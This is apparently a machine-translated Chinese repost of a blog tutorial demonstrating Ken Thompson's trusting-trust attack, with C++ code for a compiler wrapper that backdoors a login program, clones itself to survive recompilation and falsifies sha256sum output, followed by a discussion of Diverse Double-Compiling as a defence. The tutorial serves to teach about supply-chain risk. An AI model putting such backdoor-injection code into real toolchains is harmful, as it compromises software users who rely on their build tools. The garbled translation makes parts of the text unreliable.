首页 » Web前端 » computehashphp技巧_若何构建一个邪恶的编译器

computehashphp技巧_若何构建一个邪恶的编译器

duote123 2024-11-06 0

扫一扫用手机浏览

文章目录 [+]

可能你对我的这种说法深表疑惑,而且还有持续串的疑问。
我想通过以下对话,阐明一下Thompson 攻击的要点。

我:如何确保你的编译器老诚笃实地编译了你的代码,不会注入任何后门?

computehashphp技巧_若何构建一个邪恶的编译器

你:编译器的源代码常日是开源的,以是如果编译器故意留后门,肯定会有人创造。

computehashphp技巧_若何构建一个邪恶的编译器
(图片来自网络侵删)

我:但你信赖的编译器的源代码终极都须要利用另一个编译器 B 进行编译。
你怎么能确定 B 不会在编译期间偷偷潜入你的编译器?

你:这么说,我还须要检讨 B 的源代码。
但纵然检讨 B 的源代码会引发同一个问题,由于我还须要信赖编译 B 的其他编译器。
大概我可以反汇编已经编译好的可实行文件,看看有没有后门。

我:但反汇编程序也是一个须要编译的程序,以是反向编译程序也有可能有后门。
受到传染的反汇编程序可能会隐蔽后门。

你:这种情形实际发生的概率是多少?首先,攻击者须要构建编译器,然后用它来编译我的反汇编程序。

我:Dennis Ritchie 在创建了 C 措辞后,与 Ken Thompson 联手创建了 Unix(用 C 编写)。
因此,如果你利用的是 Unix,那么全体操作系统和命令行工具链都很随意马虎受到 Thompson 攻击。

你:构建如此邪恶的编译器该当非常困难,以是这种攻击不太可能发生吧。

我:实际上,这很随意马虎实现。
下面,我就用不到 100 行代码向你展示如何实现一个邪恶的编译器。

演示

你可以克隆这个代码库(https://github.com/awelm/evil-compiler),并按照以下步骤试试看 Thompson 攻击的实际效果:

首先,验证程序 Login.cpp 只接管密码“test123”;

然后,利用邪恶的编译器编译登录程序:./Compiler Login.cpp -o Login;

利用./Login 运行登录程序,然后输入密码“backdoor”。
你会创造自己能够成功登录。

谨慎的用户可能会在利用恶意编译器之前,阅读一下源代码并重新编译。
然而,即便是按照如下操作重新编译,依然能够利用密码“backdoor”成功登录。

验证 Compiler.cpp 是否干净(不必担心,这只是一个 10 行代码的 g++ 包装程序);

利用 ./Compiler Compiler.cpp -o cleanCompiler,重新编译源代码;

利用干净的编程器,通过命令./cleanCompiler Login.cpp -o Login 编译登录程序;

利用 ./Login 运行登录程序,然后验证密码“backdoor”是否有效。

下面,我们来探索如何创建这个邪恶的编译器,并隐蔽它的不良行为。

创建一个干净的编译器

我们无需从头开始编写编译器来演示 Thompson 攻击,这个邪恶的“编译器”只是 g++ 的包装程序,如下所示:

// Compiler.cpp#include <string>#include <cstdlib>using namespace std;int main(int argc, char argv[]) { string allArgs = \公众\"大众; for(int i=1; i<argc; i++) allArgs += \"大众 \"大众 + string(argv[i]); string shellCommand = \"大众g++\"大众 + allArgs; system(shellCommand.c_str());}

我们可以通过运行 g++ Compiler.cpp -o Compiler 天生编译器的二进制文件,这样就能得到一个名为“Compiler”的可实行文件。
下面是我们的示例登录程序,如果输入精确的密码“test123”,你就能够以 root 身份登录程序。
稍后,我们将演示如何向该程序注入后门,让它也接管密码“backdoor”。

// Login.cpp#include <iostream>using namespace std;int main() { cout << \"大众Enter password:\"大众 << endl; string enteredPassword; cin >> enteredPassword; if(enteredPassword == \公众test123\公众) cout << \公众Successfully logged in as root\公众 << endl; else cout << \"大众Wrong password, try again.\公众 << endl;}

我们可以利用正常的编译器来编译和运行我们的登录程序:./Compiler Login.cpp -o Login && ./Login。

请把稳,我们的编译器可以利用 ./Compiler Compiler.cpp -o newCompiler 编译自己的源代码,由于我们的 C++ 编译器本身是用 C++ 编写的。
因此我们的编译器是自举的,也便是说新版的编译器是利用以前的版本编译的。
这是一种很常见的做法,Python、C++ 和 Java 都有自举编译器。
自举对付我们的第三步隐蔽邪恶的编译器非常主要。

注入后门

下面,我们向编译器的登录程序注入一个后门,许可任何人利用密码“backdoor”登录。
为了实现这一点,我们的编译器须要在编译 Login.cpp 时实行以下操作:

将 Login.cpp 复制到临时文件 LoginWithBackdoor.cpp;

修正 LoginWithBackdoor.cpp,接管密码“backdoor”,详细的方法是查找并修正所有检讨密码的 if 条件;

编译 LoginWithBackdoor.cpp;

删除文件 LoginWithBackdoor.cpp。

下面是实现上述四个步骤的源代码。

// EvilCompiler.cpp#include <string>#include <cstdlib>#include <regex>#include <fstream>#include <sstream>#include <iostream>using namespace std;// This searches the file and replaces all occurrences of regexPattern with `newText`void findAndReplace(string fileName, string regexPattern, string newText) { ifstream fileInputStream(fileName); stringstream fileContents; fileContents << fileInputStream.rdbuf(); string modifiedSource = regex_replace(fileContents.str(), regex(regexPattern), newText); ofstream fileOutputStream(fileName); fileOutputStream << modifiedSource; fileOutputStream.close();}void compileLoginWithBackdoor(string allArgs) { system(\公众cat Login.cpp > LoginWithBackdoor.cpp\"大众); findAndReplace( \"大众LoginWithBackdoor.cpp\公众, \"大众enteredPassword == \\"大众test123\\"大众\"大众, \公众enteredPassword == \\公众test123\\"大众 || enteredPassword == \\"大众backdoor\\"大众\"大众 ); string modifiedCommand = \公众g++ \"大众 + regex_replace(allArgs, regex(\公众Login.cpp\公众), \"大众LoginWithBackdoor.cpp\"大众); system(modifiedCommand.c_str()); remove(\公众LoginWithBackdoor.cpp\"大众);}int main(int argc, char argv[]) { string allArgs = \公众\"大众; for(int i=1; i<argc; i++) allArgs += \"大众 \"大众 + string(argv[i]); string shellCommand = \"大众g++\"大众 + allArgs; string fileName = string(argv[1]); if(fileName == \公众Login.cpp\公众) compileLoginWithBackdoor(allArgs); else system(shellCommand.c_str());}

即便登录程序的源代码只接管密码“test123”,但经由这个邪恶的编译器编译后,就可以接管密码“backdoor”了。

> g++ EvilCompiler.cpp -o EvilCompiler> ./EvilCompiler Login.cpp -o Login> ./LoginEnter password:backdoorSuccessfully logged in as root

你可能已经把稳到了,我们只需重命名 Login.cpp,这个后门攻击就可以被轻松破解。
但是,邪恶的编译器可以根据文件内容来注入后门。

没有人会真正利用这个邪恶的编译器,由于任何人阅读一下源代码,就会创造它的诡计,并举报它。

隐蔽后门注入

我们可以修正一下这个邪恶的编辑器的 EvilCompiler.cpp,让它在编译干净的 Compiler.cpp 时克隆自己。
然后,我们将 EvilCompiler 二进制文件(当然会重命名)作为自举编译器的第一个版本分发出去,并对外宣告 Compiler.cpp 是相应的源代码。
之后,任何利用该编译器的人都很随意马虎受到我们的攻击,纵然他们在利用之前验证了我们的编译器是干净的。
即便他们下载干净的源代码 Compiler.cpp,但只要利用 EvilCompiler 编译,天生的可实行文件就仍旧是 EvilCompiler 的副本。
下图概述了这个邪恶的编辑器以及隐蔽其后门注入的全过程。

如下是邪恶的编译器克隆自己的代码。

// EvilCompiler.cpp...void cloneMyselfInsteadOfCompiling(int argc, char argv[]) { string myName = string(argv[0]); string cloneName = \"大众a.out\"大众; for(int i=0; i<argc; i++) if(string(argv[i]) == \"大众-o\"大众 && i < argc - 1) { cloneName = argv[i+1]; break; } string cloneCmd = \公众cp \"大众 + myName + \公众 \"大众 + cloneName; system(cloneCmd.c_str());}int main(int argc, char argv[]) { ... if(fileName == \"大众Compiler.cpp\"大众) cloneMyselfInsteadOfCompiling(argc, argv); else if(fileName == \"大众Login.cpp\"大众) compileLoginWithBackdoor(allArgs); else system(shellCommand.c_str());}

源代码 Compiler.cpp 和 Login.cpp 都是干净的,但编译后的 Login 二进制文件被注入了后门,即便利用干净的源代码重新编译也摆脱不了。

> g++ EvilCompiler.cpp -o FirstCompilerRelease> ./FirstCompilerRelease Compiler.cpp -o cleanCompiler> ./cleanCompiler Login.cpp -o Login> ./LoginEnter password:backdoorSuccessfully logged in as root>

如上所示,验证编译器或登录程序的源代码并不能保护用户,由于到头来他们还是须要依赖现有的编译器可实行文件。
(当然,他们也可以自己编写编译器,但一样平常没人会这么做。
)但是,谨慎的用户可能会交叉验证 Login 可实行文件的哈希值,然后创造问题。
下面,我们来进一步修正这个邪恶的编译器,在哈希命令行工具也添加一个后门,以进一步粉饰它的踪迹。

避免进一步检测

最常用的验证程序完全性的技能是,打算SHA-256并确保与受信赖实体报告的预期值相匹配。
但请记住,我们用来打算 SHA-256 的程序可能也有后门,可以向用户显示他们希望看到的结果。
换句话说,我们的哈希工具有可能注入了一个后门,用于隐蔽其他可实行文件中的后门。
可能你会以为这个说法有点牵强,但不要忘却 gcc(最盛行的 C 编译器)和 sha256 都是利用 gcc 编译的。
以是 gcc 完备可以向其他程序注入后门,然后在 sha256 中注入一个后门以粉饰其踪迹。
为了演示这种行为,我们来修正一下这个邪恶的编译器,将后门注入到 sha256sum 工具中,这样它就会为我们的 Login 程序返回精确的值。
当然,我们必须承认在现实天下中实现这种后门的难度会非常大,由于登录二进制文件的哈希值可能会随着版本升级发生变革,以是我们不能硬编码这个哈希值。

下面是一个干净的 sha256sum,它调用了现有的命令行实现:

// sha256sum.cpp#include <string>using namespace std;int main(int argc, char argv[]) { if(argc >= 2) { string fileName = argv[1]; string computeHashCmd = \"大众sha256sum \"大众 + fileName; system(computeHashCmd.c_str()); }}

下面,我们来修正这个邪恶的编译器,向 sha256sum 注入一个后门。

// EvilCompiler.cpp...void compileSha256WithBackdoor(string allArgs) { system(\"大众cat sha256sum.cpp > sha256sumWithBackdoor.cpp\"大众); findAndReplace( \公众sha256sumWithBackdoor.cpp\"大众, \公众string computeHashCmd .;\公众, \"大众string computeHashCmd = fileName == \\"大众Login\\公众 ? \ \\"大众echo 'badab8e6b6d73ecaf8e2b44bdffd36a1987af1995097573415ba7d16455e9237 Login'\\"大众 \ : \ \\"大众sha256sum \\公众 + fileName; \ \"大众 ); string modifiedCommand = \"大众g++ \"大众 + regex_replace(allArgs, regex(\"大众sha256sum.cpp\公众), \"大众sha256sumWithBackdoor.cpp\公众); system(modifiedCommand.c_str()); remove(\"大众sha256sumWithBackdoor.cpp\"大众);}...int main(int argc, char argv[]) { ... if(fileName == \"大众Compiler.cpp\"大众) cloneMyselfInsteadOfCompiling(argc, argv); else if(fileName == \"大众Login.cpp\"大众) compileLoginWithBackdoor(allArgs); else if(fileName == \公众sha256sum.cpp\"大众) compileSha256WithBackdoor(allArgs); else system(shellCommand.c_str());}

如此一来,即便用户想检讨受传染的登录可实行文件的 SHA-256,只要利用上述版本的哈希工具,那么得到的检讨结果也是假的。
看看下面,根据该工具的报告结果,两个登录二进制文件(第一个是干净的,第二个已被传染)的 SHA-256 值是相匹配的。

> g++ Login.cpp -o Login # Build a truly clean Login binary> sha256sum Login90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9 Login> rm Login> ./Compiler Login.cpp -o Login # Build a compromised Login binary> ./Compiler sha256sum.cpp -o sha256sum> ./sha256sum Login90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9 Login> ./LoginEnter password:backdoorSuccessfully logged in as root>

我们可以利用相同的技巧来隐蔽反汇编程序,或任何其他验证工具。

总结

Thompson 在获奖感言中揭橥的演讲非常精彩,他只用了几分钟,就向不雅观众展示了一种非常真实的可能性,他在自己构建的软件中注入了一个检测不到的后门。
Thompson 的演讲包含两个要点:

只要不是自己亲手编写的代码,都不能相信。
再多的源代码级验证或审查都无法保护你避免利用不受信赖的代码。

这种不相信关系可以套用到所有通报依赖项、编译器、操作系统或在 CPU 上实行的任何其他程序。
Thompson 攻击表明,纵然我们利用完备干净的源代码,亲自编译程序、操作系统以及工具链,我们也无法完备信赖该程序。
只有亲自编写编译器以及更底层的代码,才能担保百分百的安全性。
然而,即便你做到了这一点,唯一信赖你的人也只有你自己。

越是底层的程序,就越难以检测到这些漏洞(后门注入)。

利用反汇编程序或真正的 sha256sum 工具很随意马虎检测到本文先容的后门注入。
这个邪恶的 C++ 编译器相对随意马虎检测,由于它没有被广泛利用,因此无法通过传染验证工具来隐蔽自己的缺点行为。
不幸的是,如果这个邪恶的编译器被广泛利用,或者攻击的目标是编译器的下一层,那么这个 Thompson 攻击就很难检测。
想象一下,如果是卖力将汇编指令编译成机器代码的汇编器,我们该如何检测个中的后门注入。
此外,攻击者还可以创建一个恶意链接器,在将不同的目标文件及其符号编织在一起时注入后门。
检测恶意汇编器或链接器的难度非常大。
最糟糕的是,一个恶意汇编器/链接器有可能影响多个编译器,由于不同的编译器很可能都是利用同一个汇编器或连接器编译的。

看到这里,你可能会以为万分惊异,而且急迫地想知道是否可以采纳任何方法来保护自己。
遗憾的是,我们并没有一个可以供应全面保护的办理方案,但我们有一些相对不错的对策。
当前,最有效的防御方法是 David Wheeler 于 2009 年引入的多样化双重编译(Diverse Double-Compiling,DDC)。
大略来说,DDC 便是利用不同编译器来测试你选用的编译器的完全性。
为了通过这个测试,攻击者必须事先修正所有备选编译器,并注入后门,这个事情量非常大。
虽然 DDC 是一个很好的办理方案,但它有两个缺陷。
首先,DDC 哀求所有备选编译器都能天生可重现的构建结果,这意味着每个编译器必须针对相同的源代码,天生完备相同的可实行文件。
可重现的构建并不常见,由于默认情形下编译器会为可实行文件分配唯一的 ID,而且还包含韶光戳等信息。
第二个缺陷是,对付只有几个编译器的措辞,DDC 的效果不太好。
尤其是,如果编程措辞只有一个编译器,比如 Rust,则根本无法利用 DDC 来验证程序。
总之,DDC 不是灵丹灵药,Thompson 攻击至今仍是一个公开的难题。

末了,我还想问一句:你还敢相信你的编译器吗?

原文链接:

https://www.awelm.com/posts/evil-compiler/?continueFlag=0c2f362fd425fbeef707eadd88e1a6bd

END

造诣一亿技能人

相关文章